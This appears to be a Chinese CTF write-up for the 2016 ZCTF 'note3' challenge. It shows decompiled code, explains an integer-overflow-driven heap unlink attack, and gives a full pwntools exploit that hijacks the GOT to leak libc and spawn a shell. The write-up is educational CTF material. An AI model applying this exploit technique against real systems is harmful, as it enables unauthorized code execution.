64位程序,没开PIE  #unlink #整数溢出

 2016 ZCTF——note3 随笔

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

程序逻辑

 

 1 void __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   setvbuf(stdin, 0LL, 2, 0LL);
 4   setvbuf(stdout, 0LL, 2, 0LL);
 5   setvbuf(stderr, 0LL, 2, 0LL);
 6   alarm(0x3Cu);
 7   while ( 1 )
 8   {
 9     switch ( (unsigned int)sub_400A1B(60LL, 0LL) )
10     {
11       case 1u:
12         newnote();
13         break;
14       case 2u:
15         shownote();
16         break;
17       case 3u:
18         editnote();
19         break;
20       case 4u:
21         delnote();
22         break;
23       case 5u:
24         puts("Bye~");
25         exit(0);
26         return;
27       case 6u:
28         exit(0);
29         return;
30       default:
31         continue;
32     }
33   }
34 }

 

newnote函数

 1 int sub_400A30()
 2 {
 3   void *v1; // ST18_8
 4   signed int i; // [rsp+Ch] [rbp-14h]
 5   __int64 size; // [rsp+10h] [rbp-10h]
 6 
 7   for ( i = 0; i <= 6 && ptr[i]; ++i )
 8     ;
 9   if ( i == 7 )
10     puts("Note is full, add fail");
11   puts("Input the length of the note content:(less than 1024)");
12   size = sub_4009B9("Input the length of the note content:(less than 1024)");
13   if ( size < 0 )
14     return puts("Length error");
15   if ( size > 1024 )
16     return puts("Content is too long");
17   v1 = malloc(size);
18   puts("Input the note content:");
19   sub_4008DD(v1, size, 10LL);
20   ptr[i] = v1;
21   qword_6020C0[i + 8LL] = size;
22   qword_6020C0[0] = (__int64)ptr[i];
23   return printf("note add success, the id is %d\n", (unsigned int)i);
24 }

所有的笔记 malloc 出来的指针存放在 bss 上全局数组 bss_ptr 中,这个数组最多可以存放 7 个 heap_ptr。 而且 heap_ptr 对应的 size 也被放在 bss_ptr 数组中。current_ptr 表示当前笔记,bss 布局如下。

 1 .bss:
 2 current_ptr
 3 note0_ptr
 4 note1_ptr
 5 note2_ptr
 6 note3_ptr
 7 note4_ptr
 8 note5_ptr
 9 note6_ptr
10 note0_size
11 note1_size
12 note2_size
13 note3_size
14 note4_size
15 note5_size
16 note6_size

editnote函数

 1 int editnote()
 2 {
 3   signed __int64 v0; // rax
 4   void *v1; // rax
 5   signed __int64 v3; // [rsp+8h] [rbp-8h]
 6 
 7   puts("Input the id of the note:");
 8   v0 = sub_4009B9("Input the id of the note:"); //对id没有进行验证,为负数也可以通过  9   v3 = v0
10      - 7
11      * (((signed __int64)((unsigned __int128)(5270498306774157605LL * (signed __int128)v0) >> 64) >> 1) - (v0 >> 63));
12   if ( v0
13      - 7
14      * (((signed __int64)((unsigned __int128)(5270498306774157605LL * (signed __int128)v0) >> 64) >> 1) - (v0 >> 63)) >= v0 )
15   {
16     v1 = ptr[v3];
17     if ( v1 )
18     {
19       puts("Input the new content:");
20       sub_4008DD(ptr[v3], qword_6020C0[v3 + 8], 10LL);
21       qword_6020C0[0] = (__int64)ptr[v3];
22       LODWORD(v1) = puts("Edit success");
23     }
24   }
25   else
26   {
27     LODWORD(v1) = puts("please input correct id.");
28   }
29   return (signed int)v1;
30 }

利用思路

首先创建 7 个 note,然后 edit note3 使 current_ptr 指向 note3,之后使用 - 1 溢出 note3

之后释放 note4,note3 与 note4 就会合并。note3_ptr 会指向 note0_ptr 的位置。这样我们通过不断的修改 note0_ptr 的值和 edit note0 就可以实现任意地址写数据。

先将free_got覆盖为puts,泄漏libc基地址

expolit

 

 1 from pwn import *
 2 #sh=process('./note3')
 3 sh=remote('127.0.0.1',9999)
 4 elf=ELF('./note3')
 5 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 6 
 7 def newnote(size,content):
 8     sh.recvuntil('>>\n')
 9     sh.sendline('1')
10     sh.recvuntil('1024)\n')
11     sh.sendline(str(size))
12     sh.recvuntil('content:\n')
13     sh.sendline(content)
14 
15 def editnote(index,content):
16     sh.recvuntil('>>\n')
17     sh.sendline('3')
18     sh.recvuntil('note:\n')
19     sh.sendline(str(index))
20     sh.recvuntil('ent:\n')
21     sh.sendline(content)
22 
23 def delnote(index):
24     sh.recvuntil('>>\n')
25     sh.sendline('4')
26     sh.recvuntil('note:\n')
27     sh.sendline(str(index))
28 
29 newnote(0x80,'aaaaaa')
30 newnote(0x80,'aaaaaa')
31 newnote(0x80,'aaaaaa')
32 newnote(0x80,'aaaaaa')
33 newnote(0x80,'aaaaaa')
34 newnote(0x80,'aaaaaa')
35 newnote(0x80,'/bin/sh')
36 
37 inter=-9223372036854775808
38 payload=p64(0)
39 payload+=p64(0x81)
40 payload+=p64(0x6020e0-0x18)
41 payload+=p64(0x6020e0-0x10)
42 payload=payload.ljust(0x80,'a')
43 payload+=p64(0x80)
44 payload+=p64(0x90)
45 editnote(3,'a')
46 editnote(inter,payload) //editnote(-1,payload) 此时size为note6地址 47 delnote(4)
48 
49 free_got=elf.got['free']
50 puts_plt=elf.plt['puts']
51 atol_got=elf.got['atol']
52 puts_got=elf.got['puts']
53 
54 editnote(3,p64(free_got)+p64(puts_got))
55 editnote(0,p64(puts_plt)[:-1])
56 delnote(1)
57 puts_adr=sh.recvuntil('\nDelete success\n',drop=True).ljust(8,'\x00')
58 puts_adr=u64(puts_adr)
59 print 'puts_adr: '+hex(puts_adr)
60 
61 libc_base=puts_adr-libc.symbols['puts']
62 sys_adr=libc_base+libc.symbols['system']
63 binsh_adr=libc_base+libc.search('/bin/sh').next()
64 print 'libc_base: '+hex(libc_base)
65 print 'sys_adr: '+hex(sys_adr)
66 print 'binsh_adr: '+hex(binsh_adr)
67 editnote(0,p64(sys_adr)[:-1])
68 editnote(3,p64(binsh_adr)[:-1])
69 delnote(0)
70 sh.interactive()    

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄